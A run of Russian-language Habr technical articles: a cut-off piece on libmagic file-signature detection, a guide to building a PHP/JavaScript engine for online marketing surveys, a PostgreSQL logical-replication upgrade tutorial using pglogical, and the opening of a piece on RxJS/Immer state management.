разных форматов, но он далеко не полный. Потом нашел [File Signatures](http://filesignatures.net/index.php?page=all), здесь вроде как все. Однако вернемся все к тому же pdf. Если верить этим источника, то для определения того, что файл является pdf достаточно четырех байт (0x25 0x50 0x44 0x46), однако исходя из первых четырех байтов libmagic говорил, что MIME-тип pdf-файла — text/plain, а из пяти — верное application/pdf. Затрудняюсь точно ответить с чем это связано, надо смотреть исходники. Теперь давайте перейдем, собственно говоря, к тому, что сделал я. Я написал очень маленькую программку, которая считывала все файлы из одной директории, копировала первые N байт в другую директорию, а затем по частичным копиям полученных файлов пыталась определить, а что это собственно говоря такое было. И так до тех пор, пока MIME-тип части файла не совпадет с MIME-типом оригинала. По результатам работы программа рапортовала, сколько байт понадобилось для определения того или иного типа. Вот ее код: ``` #include #include #include #include #include #include #include #include #include #include #define TEST\_DIR "test-dir/" #define TMP\_DIR "tmp-dir/" magic\_t cookie; // Detects how many bytes required for correct MIME-type of this file void detect\_size(char \*filename) { int bytes = 1; int infd, outfd; char strin[100], strout[100], type[100]; char buf[4096]; strcpy(strin, TEST\_DIR); strcat(strin, filename); strcpy(strout, TMP\_DIR); strcat(strout, filename); while(1) { // Make a copy of given file infd = open(strin, O\_RDONLY); outfd = open(strout, O\_RDWR | O\_CREAT, 00666); read(infd, &buf, bytes); write(outfd, &buf, bytes); lseek(infd, 0, SEEK\_SET); lseek(outfd, 0, SEEK\_SET); // Detect mime types of old and new const char \*mime\_type = magic\_descriptor(cookie, infd); strcpy(type, mime\_type); mime\_type = magic\_descriptor(cookie, outfd); // Check if mime type detected correctly if (strcmp(mime\_type, type) == 0) { printf("%s detected correctly in %d bytes\n", type, bytes); unlink(strout); return; } unlink(strout); bytes++; } } int main() { DIR \*dirfd = opendir(TEST\_DIR); struct dirent entry, \*result = NULL; cookie = magic\_open(MAGIC\_MIME\_TYPE | MAGIC\_ERROR); magic\_load(cookie, NULL); while(1) { readdir\_r(dirfd, &entry, &result); if (result == NULL) break; // No more entries in this directory if (!strcmp(entry.d\_name, ".") || !strcmp(entry.d\_name, "..")) continue; // Ignore "." and ".." detect\_size(entry.d\_name); } magic\_close(cookie); closedir(dirfd); exit(EXIT\_SUCCESS); } ``` Потом накидав кучку разных файлов в папку test-dir я начал экспериментировать. Конечно то, что я сделал ни как не тянет на полномасштабное и серьезное исследование, но некоторые результаты все таки интересны. Приведи их краткую сводку: application/x-sharedlib detected correctly in 18 bytes application/msword detected correctly in 1793 bytes image/gif detected correctly in 4 bytes application/zip detected correctly in 4 bytes application/x-dosexec detected correctly in 2 bytes application/vnd.oasis.opendocument.presentation detected correctly in 85 bytes text/html detected correctly in 14 bytes image/jpeg detected correctly in 2 bytes application/x-executable detected correctly in 18 bytes text/x-makefile detected correctly in 1594 bytes application/x-executable detected correctly in 18 bytes application/x-gzip detected correctly in 2 bytes audio/mpeg detected correctly in 2291 bytes text/x-c detected correctly in 27 bytes audio/x-flac detected correctly in 4 bytes application/pdf detected correctly in 5 bytes Отмечу некоторые вещи, которые мне показались интересными: * Ну во-первых, конечно уже упомянутый pdf, который распознается в 5 байт, а не в 4, как вроде бы следовало ожидать. * И напоследок хочется отметить, что не смотря на всю крутость идеи определять тип файла по первым N байтам она, на мой взгляд, провалилась. Ну это пожалуй все, что я хотел рассказать в этот раз, не люблю много писать. Надеюсь, что это статья окажется кому-нибудь интересной. Спасибо за внимание.
https://habr.com/ru/post/186828/
null
ru
null
# Нюансы и алгоритмы программирования движка для маркетинговых онлайн-исследований Доброго времени суток, уважаемые хабравчане. Давно меня подмывало написать подобный мануал, и вот, решил таки себя заставить сесть и написать его — поделиться некоторым опытом, который получил во время своих программистских изысканий в сфере маркетинга и о некоторых алгоритмах, заложенных в движок, на котором был реализован не один проект. Казалось бы, что может быть проще ТЗ в виде плёвой Word'овской анкетки на 30-40 вопросов, которую заказчик хочет видеть в запрограммированном виде в окне своего браузера, да ещё и даёт на всё про всё целых четыре дня? Как говаривал мой товарищ, пока не начал работать вместе со мной: — Да тут дел-то часа на четыре! Утром сел, а к вечеру готово всё и оттестировано. Не понимаю, чего ты колупаешься… Но всё, к сожалению, далеко не так просто, как он представлял и первую свою анкету он программировал в аврале двое суток (с последующим докручиванием в течение двух-трёх дней), постоянно получая всё новые и новые комментарии по телефону и электронной почте. И дело тут не в переоценке своих возможностей или профессиональной несостоятельности (а товарищ, надо сказать, с богатым опытом сайтостроителя), а в самой области, которая весьма специфическая и имеет свои подводные камни и тонкие моменты. Как раз о некоторых из этих подводных камней и тонких моментов, а так же о том, как их избежать, я и хотел бы поведать. #### «Хочу красное, но синее» или модифицируемость кода Не знаю, почему так сложилось, но почему-то именно в маркетинге заказчики любят менять свои требования к анкете по несколько раз в день. Видимо, это связано с внутренней организацией, где левая рука не всегда знает, что делает правая и, порой, хочет совершенно другого. Но не это суть, а суть в том, что это всё выливается в головную боль программиста (к слову сказать, не так давно был случай, когда итоговая версия анкеты для CATI значилась как «V.13.3\_final\_final», и это уже после утверждения «финального» ТЗ). Идея создания движка, который бы облегчал труд, сокращал сроки разработки и минимизировал влияние человеческого фактора на возможные ошибки, пришла где-то после четвертой анкеты и решено было программировать движок сразу и на века. За основу была взята наивная идея о возможности «программирования» анкет без знания этого самого программирования и простоте модификации существующих проектов. Идея была, по сути своей, не такая уж и плохая, но ключевую роль тут сыграло отсутствие ресурсов для реализации (человеко-часов) и неверно выбранный подход: предполагалось, что анкета будет представлять собой Excel-файл, столбцы которого будут отвечать за определенные команды для модуля-конструктора: * Порядковый номер вопроса * Код вопроса * Возможные варианты ответов * Коды уникальных вариантов ответов * Сами варианты ответов * Тип вопроса (checkbox, radio, text и смешанные) * Условия задания вопроса * Условия остановки опроса * Дополнительные вызываемые функции Решено — сделано. Но первый блин, как водится, комом… #### Теория провалов Обкатывался движок на небольших проектах, но уже после шестого или седьмого стало ясно, что выбранный путь развития тупиковый из-за безмерно разрастающегося функционала. Дошло до того, что я и мой напарник — разработчики — сами уже стали путаться в том, какой функционал заложен. Причины: * Возможных вариантов типов представления вопросов на странице (а так же их комбинаций) очень много и каждый проект в чём-то уникален (т.е. фантазия заказчика бурно играет) * Логика опроса, порой, бывает крайне замудрёной и её описание в ячейках Excel'я выливалось в сумашедшие неудобоваримые формулы Были ещё и другие, но второстепенные причины. Выходом виделось создание визарда, который бы в форме «опрос-ответ» формировал шаблон будущей анкеты, а шаблон бы в дальнейшем доводился до ума во встроенном редакторе. Но всё это новые человеко-часы, бесконечные модификации кода, постоянные обновления и… как результат, своеобразный монстр Франкенштейна. Так что от этого подхода было решено отказаться. Рассматривались идеи написания внутреннего скриптового языка, программирования демона на С++ (ввиду более широких возможностей), парсера для Word'овских документов (написанных в определенном формате) и многие другие. Но все они были отметены либо из-за своей абсурдности, либо из-за трудоёмкости в реализации. Нужно было найти какое-то простое, но в тоже самое время гибкое решение… #### Постановка задачи и решение Грамотная постановка задачи — это, если и не залог, то хорошее подспорье на пути к успешной реализации задумки. Имея за плечами уже достаточный опыт программирования онлайн-исследований и столкнувшись с кучей подводных камней и нюансов в этом деле, я обозначил несколько основных (на мой взгляд) пунктов, которым должна была отвечать система: * Возможность подключения различных дизайнов и их смена «на лету» * Максимальное ускорение процесса программирования * Простота записи и модификации логики * Быстрая расширяемость функционала * Стабильность работы при высоких нагрузках * Использование файловой системы для хранения данных Так же, чтобы минимизировать возможные трудности, было решено следовать нескольким простым правилам: * Выносить логику в отдельный файл * Каждый вопрос также выносить в отдельный файл * Проверять корректность заполнения на стороне клиента * Для проверок заполнения всех необходимых полей использовать js-функции, минимально зависящие от структуры конкретного вопроса * Использовать структурное программирование Как результат, на выходе получился не монолитный движок, а комплекс из модуля, выводящего вопросы пользователю, а также js- и php-библиотек функций. Пришло время более подробно расписать некоторые из вышеобозначенных мной пунктов: **Возможность подключения различных дизайнов и их смена «на лету»** Заказчики часто требуют использования собственного дизайна в маркетинговых исследованиях, даже если заказывают само исследование в сторонней компании. Особенно актуально это для брендов или когда ссылка на анкету вывешивается на сайте клиента (чтобы создавалось впечатление, будто пользователь и не уходил с сайта). Т.к. у подавляющего большинства опросов был замечен один общий момент — информация изменяется только в одной области, то решением было использование двух функций php: инициализация основных переменных при загрузке анкеты и вывод необходимых данных в div. Выглядит это следующим образом: ```` php session_start(); include('./php/funcs.php'); // подключили библиотеку функций if (!$_SESSION['user_ID']){ // если пользователь ранее не заходил на этот опрос $user_id = md5(date('y-m-d H:i:s').rand()); $_SESSION['user_ID'] = $user_id; $_SESSION['user_position'] = setUserPosition($user_id); // посылая в эту функцию рандомный хэш, мы создаем новую запись в системе и функция возвращает дэфолтную позицию (обычно "start") } else { $_SESSION['user_position'] = setUserPosition($_SESSION['user_ID']); // если ранее заходил, то по хэшированному айдишнику из сессии получаем позицию, на которой юзер закончил в прошлый раз } ? ... // html-абракадабра php showQuest($\_SESSION['user\_position']); // собственно, вывод текущего вопроса внутри нужного div'а ? ... // html-абракадабра и три кнопки ("Назад", "Далее", "Закончить") ```` Этого хватает для выполнения требований 3/4 всех возможных вариаций опросов. Для оставшейся 1/4 ничего не мешает добавить пару тэгов/функций. Проблема с изменением дизайна решена. **Максимальное ускорение процесса программирования** Из-за того, что реализовано всё в виде набора функций и основные задачи по обмену данными с сервером и их интерпретации решены и лежат на движке, программирование самих анкет сводится к написанию файла с логикой, прописыванию в js-скрипт соответствий какому вопросу какую проверку и полу-автоматическому созданию шаблонов вопросов в следующей форме: ```` **Укажите Ваш пол:** Мужской Женский ```` В коде присутствуют несколько div'ов с классом «textAssociationDiv» — это используется для ассоциации клика по тексту, как по определенному чекбоксу или радиобаттону. Если кому интересно, то вот код js-функции, которая этим занимается: ```` function associateTextToElement(){ $(".textAssociationDiv").click(function(){document.forms['form'].elements[$(".textAssociationDiv").index($(this)[0])].click();}); } ```` Так же, в коде использованы одинаковые id, т.к. это упрощает анализ элементов страницы, если на неё выводится более одного вопроса. Если же необходимо вывести вопрос типа малтипл-сет (множественный выбор), то имена и id принимают следующий вид: S9.1, S9.2, S9.3, S9.4, S9.5, S9.97, где цифра после точки — код ответа. При нажатии пользователем кнопок «Далее» или «Назад», javascript собирает все введенные данные и Ajax'ом отсылает их php-скрипту в следующем формате: код\_переменной=значение. Код переменной берётся из id элемента, потому они в сингл-вопросах одинаковые, а в малтипл-сетах разные — так просто удобнее. Скрипт, получая их методом POST (это важно — скрыть от пользователя подобную информацию), записывает их в файл-лог с именем, хранимым в $\_SESSION['user\_ID']. **Использование файловой системы для хранения данных** Отказу от использования БД послужило несколько причин, основная из которых: необходимость оперативного добавления/удаления переменных в процессе опроса. Так же этот подход решил трудности с количеством полей в таблице ответов пользователей при использовании MySQL (общее число различных переменных в некоторых исследованиях иногда доходило до полутора-двух тысяч). При использовании же файловой системы все трудности пропали, т.к. абсолютно все данные, которые отсылались на сервер, записывались в соответствующий файл-лог. А для того, чтобы добавить несколько новых вариантов ответов, достаточно просто добавить пару строк с нужными input'ами в соответствующий файл вопроса и… вауля — все данные сохраняются, а потрачено на это времени было всего несколько секунд. Для простоты интерпретации логов, как компьютером, так и человеком, они имеют следующий формат: userID=1cb3761177ec8846fe8ae35392017e36 userIP=192.168.1.34 startTime=19.04.10 12:50:21 S4=33 S5=3 S9\_8=8 // так записываются малтипл-сеты (S9.8, S9.10 и т.п.) **Вынесение логики в отдельный файл** Проблема с записью логики решилась сама собой, когда решено было, что программирует анкету программист, а менеджер всего лишь даёт ТЗ — т.е. не нужно «упрощать» кому-то жизнь визуальным редактором/визардом (усложняя жизнь программисту), а работать с движком и библиотеками будет человек имеющий представление о js и php. Даже изобретать велосипед не пришлось — при анализе тонны реализованных проектов, было замечено, что «прямая» логика может удовлетворять всем потребностям клиента и для реализации ветвлений любой сложности достаточно всего пары функций, двух переменных и оператора if: * **$\_SESSION['user\_ID']** — содержит идентификатор пользователя, он же — имя его файла лога * **$\_SESSION['user\_position']** — содержит код вопроса, на который только что ответил пользователь * **checkAnswer($qCode, array(1, 2, 3))** — проверяет в логе наличие записи qCode=array[0], qCode=array[1] или qCode=array[n], где $qCode — код вопроса (например «S12»), а array содержит искомые значения, а т.к. в малтипл-сетах индекс ответа в переменной вопроса после точки всегда соответствует коду ответа, то при помощи автоподстановки "\_n=n" к коду вопроса (где n — вариант ответа), мы получаем строку, которую и ищем в файле — если она есть, значит этот ответ был дан * **checkQuotas($qCode)** — проверяет заполненность квот по коду вопроса, на который только что ответил пользователь (т.к. квоты бывают связные и несвязные, функция имеет разные реализации и под каждый проект квоты программируются отдельно) Если учесть тот факт, что в онлайн-анкетах вектор опроса всегда идёт в одном направлении, а возможных вариантов ветвления с точки зрения компьютера всего два (либо прошёл условие, либо нет), то вся логика упрощается до предела и сводится к следующему формату (php): ```` if ($_SESSION['user_position'] == 'S9' && checkAnswer('S9',1)){ // сейчас был вопрос S9 и в нём отмечен 1-й вариант $question_contents = file_get_contents('../qst/Z6.php'); echo iconv("cp1251", "UTF-8", $question_contents); //include_once('../qst/Z6.php'); //echo iconv("cp1251", "UTF-8", showQuest()); $_SESSION['user_position'] = 'Z6'; exit; } // следующий вариант применяется, когда внутри файла вопроса используется php (например, для ротации ответов или подстановки одного из предыдущих ответов в текст вопроса) if ($_SESSION['user_position'] == 'A1'){ // сейчас был вопрос A1 //$question_contents = file_get_contents('../qst/A3.php'); //echo iconv("cp1251", "UTF-8", $question_contents); include_once('../qst/A3.php'); echo iconv("cp1251", "UTF-8", showQuest()); $_SESSION['user_position'] = 'A3'; exit; } ```` Как видно из приведенного выше кода, оба варианта почти идентичны и подобным образом выглядят условия для всех остальных проверок. Исходя из этого, мы просто подгружаем в соответствующий скрипт список вопросов в порядке их следования, а на выходе получаем сгенерированную логику, которую останется только немного подправить руками (раскомментировать соответствующие блоки в условиях и добавить, если требуется, какие-то дополнительные функции и/или условия). Если нужно поставить условие на целый блок вопросов — это так же решается if'ом (например, открыть у вопроса А1, а закрыть у А8). Имея такой файл, мы просто добавляем в его начало функцию записи переданных из js данных в лог и всё. Логика готова и вопросы сменяются один за другим. А всё дело в том, что простоты ради, запрос от js направляется прямиком на этот скрипт, который записывает данные, а потом просто продолжает выполняться до тех пор, пока не встретит подходящее условие, при этом скрипт пошлёт в js нужный контент и завершит работу. Js в свою очередь полученные данные вставляет в вышеупомянутый div с id=«workDiv» и цикл повторяется: пользователь отмечает ответы, js отправляет их файлу логики, php записывает данные в лог и возвращает содержимое следующего вопроса, js заменяет содержимое рабочего div'а полученными данными. После получения данных от сервера и замены содержимого рабочего div'а, js выполняет ещё одну функцию — вызывает функцию привязки проверки валидности заполнения вопроса. **Js-проверки заполнения вопросов** Большинство вопросов, которые используются в онлайн-исследованиях, можно разбить на несколько типов: * Единичный выбор (radio) * Единичный выбор (select) * Полузакрытый (radio + text) * Полузакрытый (checkbox + text) * Полузакрытый (checkbox + text + уникальные коды) * Открытый * Множественный выбор (checkbox) * Множественный выбор (select) * Множественный выбор с уникальными кодами (checkbox) * Множественный выбор (таблица высказываний/характеристик из checkbox) * Шкалы (таблица оценки тезисов из radio) Исходя из этого, была написана библиотека функций, которые автоматически привязывают соответствующие проверки на каждый из элементов input. При первом заходе на анкету, а так же при обновлении блока с вопросом, вызывается js-функция questsChecks(), суть которой, вкратце, сводится к следующему: блокируем кнопку «Далее» (ведь это новый вопрос и данные ещё не введены), получаем из php скрипта значение $\_SESSION['user\_position'] (т.е. текущего вопроса), запускаем переключатель: ```` switch(quest){ case 'S2': disableNext(); radioMultCheck(); progressBar(0); break; case 'S4': disableNext(); checkAgeText(10, 99); progressBar(7); break; case 'S12': disableNext(); radioTextCheck(); progressBar(14); break; // ... набор подобных условий default: break; } ```` В зависимости от кода вопроса, у нас вызывается соответствующая библиотечная функция, которая навешивает проверки. Вот пример одной из них (множественный выбор + текст) и двух связанных с ней: ```` // ----------------------------------------------------------------------------- function checkboxText(check,text){ disableNext(); if (!check){ $("div[id='workDiv'] input[type='checkbox']").click(function(){checkboxText('true');}); $("div[id='workDiv'] input[type='text']").keyup(function(){checkboxText('true',this);}); } if (check){ if (!text && $("div[id='workDiv'] input[type='text'][value!='']").length > 0) enableNext(); if (!text && $("div[id='workDiv'] input[type='text'][value!='']").length == 0) checkCheckbox(); if (text && !checkCheckbox()){ checkText(text); } } } // ----------------------------------------------------------------------------- function checkCheckbox(uniqCodes){ if (!uniqCodes){ uniqText = getUniqTextObj(); if ($("div[id='workDiv'] input[type='checkbox'][name!='toggleOther']:checked").length > 0){ enableNext(); return true; } if ($("div[id='workDiv'] input[type='checkbox']:checked").length == 0 && !uniqText) disableNext(); if ($("div[id='workDiv'] input[type='checkbox']:checked").length == 0 && uniqText) checkText(uniqText); } if (uniqCodes){ for (var key in uniqCodes){ $(document.getElementById(getQuest()+'.'+uniqCodes[key])).attr("checked", ""); } checkCheckbox(); } } // ----------------------------------------------------------------------------- function checkText(text,uniqCodes){ if (!uniqCodes){ if (text.value) enableNext(); else disableNext(); } if (uniqCodes){ for (var key in uniqCodes){ $(document.getElementById(getQuest()+'.'+uniqCodes[key])).attr("checked", ""); } if (!checkCheckbox()) checkText(text); } } ```` Не буду комментировать каждую строку, т.к. это замёт слишком много текста, а просто поясню вкратце алгоритм: навешиваем на каждый элемент типа input по событию click() или keyup() вызов этой же самой функции, но с параметром «проверить» и передачей объекта (для текстовых полей). При вызове проверки (при клике), функция пробегается по всем элементам внутри рабочего div'a в соответствии с предопределенным алгоритмом (который исходит из типа вопроса), собирает значения полей, анализирует их и, если это требуется, вызывает более узкоспециализированные функции проверки. В данном примере, функция проверки множественного выбора с текстом может инициировать запуск функции проверки простого множественного выбора, т.к. простой множественный выбор является упрощенным вариантом множественного выбора с текстом и включается в него. Все функции проверки примитивных типов (к ним относятся: множественный выбор, единичный выбор, открытый вопрос) спроектированы таким образом, что проверяют только типы полей примитивов. Таким образом, автоматически разбирая сложные типы вопросов на простые и производя проверки над ними, мы получаем искомый результат — true либо false — прошла проверка или нет. И, если да — снимаем блокировку с кнопки «Далее», если же нет — ничего не делаем, либо блокируем её, если она доступна. Если проверка прошла успешна — начинается новый цикл: отправил, получил, заполнил, проверил, отправил и т.д. **Использование структурного программирования** Использование голых функций, вместо классов и объектов, в данном случае (на мой взгляд) более предпочтительно с точки зрения производительности. При большом потоке пользователей, создание объекта с кучей свойств только ради использования одного конкретного метода — по меньшей мере, не разумно. Манипуляции с пятью-десятью объектами более затратны с точки зрения ресурсов, чем аналогичные действия с функциями. К тому, же в связи с простотой архитектуры движка, в ООП тут просто не вижу смысла. #### Подводя итоги Данная архитектура движка отработала на ура в одном из исследований, в котором число пользователей, получивших приглашения на участие, было порядка 120-130 тысяч человек, при чём лояльных пользователей — клиентов заказчика, да и сама рассылка была от лица заказчика — при этом было получено порядка 22k результативных интервью, а общее число заходов было около 45k. Более мелких же исследований было проведено огромное множество. Статистика говорит, что такая архитектура надёжна и высокопроизводительна. Помимо этого, она ещё и удобна (на мой взгляд) и достаточно гибка. При наличии достаточного количества свободного времени я, возможно, ещё вернусь к доработке этого движка и, опять же, возможно, выложу все исходники в общий доступ, вместе с подробным описанием функционала и всякими плюшками. Но это всё только «возможно»… В своё время, когда я только начинал погружаться в данную сферу, недостаток информации по теме был катастрофический и все задачи приходилось решать, зачастую, методом тыка — проб и ошибок. Надеюсь, что данный мануал и мой личный опыт, который я отразил в нём, чем-то помогли вам. А ещё я надеюсь, что этот материал как-то восполнит информационный вакуум вокруг такой темы, как программирование онлайн-анкет в маркетинговых исследованиях. Но, к сожалению, остаются не охваченными такие темы, как программирование квот, конджойнт или программирование анкет и/или движка для CATI (собственно, как и организация технической базы самой CATI-студии). И многое другое… Но это всё темы для отдельных FAQ и мануалов. Спасибо за внимание.
https://habr.com/ru/post/96343/
null
ru
null
# Логическая репликация между версиями PostgreSQL ![](https://habrastorage.org/r/w1560/webt/yl/pr/hs/ylprhs3ilpoukerjhyvwdnj6kmu.png) Есть разные подходы к обновлению PostgreSQL, но некоторые приводят к простою приложения. Если нужно избежать простоя, используйте для обновления репликацию — логическую или физическую (потоковую), в зависимости от сценария. В этой статье мы рассмотрим разницу между логической и физической репликацией в PostgreSQL. Затем подробно поговорим, как обновить версию с помощью логической репликации и при этом избежать простоя приложения. В [следующей статье](https://habr.com/ru/company/southbridge/blog/458334/) обсудим репликацию физическую. В предыдущих статьях мы уже говорили о методах обновления PostgreSQL ([Обновление версии PostgreSQL с помощью pg\_dumpall](https://www.percona.com/blog/2019/03/18/postgresql-upgrade-using-pg_dumpall/) и [Обновление версии PostgreSQL с помощью pg\_dump/pg\_restore](https://www.percona.com/blog/2019/03/27/postgresql-upgrade-using-pg_dump-pg_restore/)) в рамках серии [Обновление или миграция старых версий PostgreSQL в новые](https://www.percona.com/blog/2019/03/04/postgresql-webinar-wed-april-17-upgrading-migrating-legacy-postgresql-newer-versions/). Но оба этих метода не исключают простоя. Типы логической репликации -------------------------- Здесь мы обсудим 2 типа репликации: * Репликация между PostgreSQL 10 и 11 с помощью встроенной логической репликации. * Репликация между PostgreSQL 9.4 (или до PG 11) и PostgreSQL 11 с помощью расширения [pglogical](https://github.com/2ndQuadrant/pglogical). Чтобы минимизировать простой, можно обновить версию с помощью репликации. Когда все актуальные данные будут реплицированы на другой сервер PostgreSQL последней версии, вы просто переведете приложение на новый сервер с минимальным простоем — хотя, конечно, все зависит от сложности стека приложения. **Логическая репликация** в PostgreSQL позволяет пользователям выборочно реплицировать таблицы и открыть резервный сервер для операций записи. **Физическая репликация** в PostgreSQL осуществляется блоками. В этом случае каждая база данных в мастере реплицируется на резервный сервер, недоступный для операций записи. Далее мы будем называть физическую репликацию **потоковой**. При использовании логической репликации на резервном сервере можно включить репликацию с нескольких мастеров. Это бывает полезно в ситуациях, когда нужно реплицировать данные из нескольких баз данных PostgreSQL (OLTP) на один сервер PostgreSQL для отчетности и хранения данных. Главное преимущество логической репликации по сравнению с потоковой — в том, что с логической репликацией можно реплицировать изменения из старой версии PostgreSQL в новую. Потоковая репликация работает только тогда, когда на мастере и резервном сервере одинаковая основная версия. В идеале дополнительные версии тоже должны совпадать. ### Репликация между версиями PostgreSQL 10 и 11 Начиная с PostgreSQL 10 логическая репликация доступна по умолчанию. Поэтому вы легко реплицируете базу данных PostgreSQL 10 в PostgreSQL 11. При логической репликации используется модель публикации и подписки. Узел, отправляющий изменения, становится издателем. А узел, подписывающийся на эти изменения, становится подписчиком. На одну публикацию может быть несколько подписок. ### Публикация Публикация — это массив изменений, созданных группой таблиц. Она называется **набором изменений** или **набором репликации**. Публикации могут содержать только таблицы, но не другие объекты. DML в этих таблицах реплицировать можно, а DDL — нельзя. В публикации можно выбрать, DML какого типа реплицировать: INSERT, DELETE, UPDATE или ALL. По умолчанию выбрано ALL. У таблицы должен быть идентификатор реплики, чтобы реплицировать подписчику операции UPDATE и DELETE. Идентификаторы реплики помогают находить строки, которые обновляются или удаляются. Первичный ключ таблицы — это идентификатор реплики по умолчанию. Или вы можете сделать идентификатором уникальный индекс со значениями NOT NULL. Если у вас нет первичного ключа или уникального индекса со значениями NO NULL, установите для replica\_identity значение FULL. В таком случае Postgres использует всю строку в качестве ключа. Но это не очень рационально. Если таблица без первичного ключа и идентификатора реплики по умолчанию добавляется в публикацию после операции UPDATE или DELETE, могут возникнуть ошибки. ### Подписка Подписчик может подписаться на одну или несколько публикаций. Прежде чем добавлять подписку, убедитесь, что реплицируемые таблицы созданы на узле-подписчике. Для этого сделайте дамп только схемы с издателя на подписчика. ### Пример логической репликации **В следующем примере описывается логическая репликация только между версиями PostgreSQL 10 и 11.** Создайте публикацию на узле-издателе. Добавьте в публикацию все или только некоторые таблицы. ``` -- For adding ALL Tables in Database CREATE PUBLICATION percpub FOR ALL TABLES; -- For adding Selected Tables in Database CREATE PUBLICATION percpub FOR TABLE scott.employee scott.departments; ``` На узле-подписчике создайте подписку на эту публикацию. Выполните DDL-дамп таблиц подписчику, прежде чем создать подписку, как говорилось выше. ``` $ pg_dump -h publisher_server_ip -p 5432 -d percona -Fc -s -U postgres | pg_restore -d percona -h subscriber_node_ip -p 5432 -U postgres CREATE SUBSCRIPTION percsub CONNECTION 'host=publisher_server_ip dbname=percona user=postgres password=secret port=5432' PUBLICATION percpub; ``` Эта команда также копирует существующие данные в таблицах. Если нужно отключить копирование существующих данных, используйте следующую команду, и будут копироваться только изменения в издателе. ``` CREATE SUBSCRIPTION percsub CONNECTION 'host=publisher_server_ip dbname=percona user=postgres password=oracle port=5432' PUBLICATION percpub WITH (copy_data = false); ``` Отслеживайте репликацию с помощью следующей команды в узле-издателе: ``` $ psql \x select * from pg_stat_replication; ``` ### Репликация между PostgreSQL 9.4 и PostgreSQL 11 Что делать с версиями до PostgreSQL 10? Для версий с 9.4 по 11 есть специальное расширение — `pglogical`. С помощью pglogical можно в два счета реплицировать PostgreSQL 9.4 в PostgreSQL 11. Ниже приводятся общие инструкции по настройке репликации между PG 9.4 и PG 11 с помощью расширения [pglogical](https://github.com/2ndQuadrant/pglogical). **Шаг 1.** Считайте, что pgserver\_94 — это исходный сервер с базой данных percona\_94 на PostgreSQL 9.4. Создайте следующее расширение. код ``` [pgserver_94:] $psql -d percona_94 -c "CREATE EXTENSION pglogical_origin" CREATE EXTENSION [pgserver_94:] $psql -d percona_94 -c "CREATE EXTENSION pglogical" CREATE EXTENSION ``` **Шаг 2.** Теперь добавьте все или некоторые таблицы в схему или несколько схем для репликации. В следующем примере вы видите ошибку, потому что у одной из таблиц нет первичного ключа. ``` [pgserver_94:] $psql -d percona_94 psql (9.4.21) Type "help" for help. percona_94=# SELECT pglogical.create_node(node_name := 'provider1',dsn := 'host=192.168.0.24 port=5432 dbname=percona_94'); create_node ------------- 2976894835 (1 row) percona_94=# SELECT pglogical.replication_set_add_all_tables('default', ARRAY['public']); ERROR: table pgbench_history cannot be added to replication set default DETAIL: table does not have PRIMARY KEY and given replication set is configured to replicate UPDATEs and/or DELETEs HINT: Add a PRIMARY KEY to the table percona_94=# ALTER TABLE pgbench_history ADD PRIMARY KEY (tid,aid,delta); ALTER TABLE percona_94=# SELECT pglogical.replication_set_add_all_tables('default', ARRAY['public']); replication_set_add_all_tables -------------------------------- t (1 row) ``` **Шаг 3.** На узле-подписчике, то есть в базе данных PostgreSQL 11, выполните следующие команды. ``` [pgserver_11:] $psql -d percona_11 psql (11.2) Type "help" for help. percona_11=# SELECT pglogical.create_node(node_name := 'subscriber1',dsn := 'host=127.0.0.1 port=5432 dbname=percona_11 password=secret'); create_node ------------- 330520249 (1 row) percona_11=# SELECT pglogical.create_subscription(subscription_name := 'subscription1',provider_dsn := 'host=192.168.0.24 port=5432 dbname=percona_94 password=secret'); create_subscription --------------------- 1763399739 (1 row) ``` **Шаг 4.** Затем проверьте статус репликации, отправив запрос в несколько таблиц, которые pglogical всегда обновляет: ``` percona_11=# select * from pglogical.local_sync_status; sync_kind | sync_subid | sync_nspname | sync_relname | sync_status | sync_statuslsn -----------+------------+--------------+------------------+-------------+---------------- f | 1763399739 | public | pgbench_accounts | r | 0/2EB7D48 f | 1763399739 | public | pgbench_history | r | 0/2EB7D48 f | 1763399739 | public | pgbench_tellers | r | 0/2EB7D48 f | 1763399739 | public | pgbench_branches | r | 0/2EB7D48 d | 1763399739 | | | r | 0/0 (5 rows) percona_11=# select * from pglogical.subscription; sub_id | sub_name | sub_origin | sub_target | sub_origin_if | sub_target_if | sub_enabled | sub_slot_name | sub_rep lication_sets | sub_forward_origins | sub_apply_delay ------------+---------------+------------+------------+---------------+---------------+-------------+----------------------------------------+---------------- -----------------------+---------------------+----------------- 1763399739 | subscription1 | 2976894835 | 330520249 | 2402836775 | 2049915666 | t | pgl_percona_11_provider1_subscription1 | {default,defaul t_insert_only,ddl_sql} | {all} | 00:00:00 (1 row) ``` ### Выбор первичного ключа На втором шаге вы видели, как все таблицы схемы public добавились в набор репликации путем создания первичного ключа для таблицы, у которой его не было. Возможно, я выбрал неправильный первичный ключ для этой таблицы, но это просто для демонстрации. Когда будете выбирать первичный ключ, убедитесь, что он правильный. Он должен быть уникальным и использовать столбцы, которые не содержат значения NULL. Если не найдете правильный первичный ключ, это может привести к простою приложения. Вот пример ошибки, которая может возникнуть: ``` [pgserver_94:] $pgbench -c 10 -T 300 -n percona_94 Client 7 aborted in state 12: ERROR: duplicate key value violates unique constraint "pgbench_history_pkey" DETAIL: Key (tid, aid, delta)=(7, 63268, 2491) already exists. ``` Вот как можно использовать pglogical, чтобы создать репликацию между старой и новой версиями PostgreSQL. После настройки репликации просто переключите приложения на последнюю версию, чтобы простой был минимальным.
https://habr.com/ru/post/457512/
null
ru
null
# Управление состоянием приложения с RxJS/Immer как простая альтернатива Redux/MobX > "Вы поймете, когда вам нужен Flux. Если вы не уверены, что вам это нужно, вам это не нужно." Пит Хант ![](https://habrastorage.org/r/w1560/webt/r_/5f/tj/r_5ftjrh0you9eiryn6ae54nwea.png) Для управления состоянием приложения я как правило применяю Redux. Но не всегда есть необходимость в использовании модели Action\Reducer, хотя бы из-за трудозатратности ее применения для написания простейшего функционала. Возьмем в качестве примера обычный счетчик. На выходе хотелось получить простое и практичное решение, которое позволит описать модель состояния и пару методов его меняющие, наподобие такого: ``` state = {value: 0} increase() { state.value += 1 } decrease() { state.value -= 1 } ``` Сходу кажется, что такое решение может обеспечить MobX, так почему бы им и не воспользоваться? Поработав с MobX некоторое время, для себя пришел к выводу, что лично мне проще оперировать последовательностью иммутабельных состояний (наподобие Redux), чем логикой мутабельного состояния (наподобие MobX), да и его внутреннюю кухню я бы не назвал простой. В общем, захотелось найти простое решение для управления состоянием, в основе которого лежала бы иммутабельность, с возможностью применять его в Angular\React и реализованное на TypeScript. Беглый обзор на просторах github подходящего решения не выдал, поэтому возьмем RxJS/Immer и попробуем сделать свое. Используем RxJS 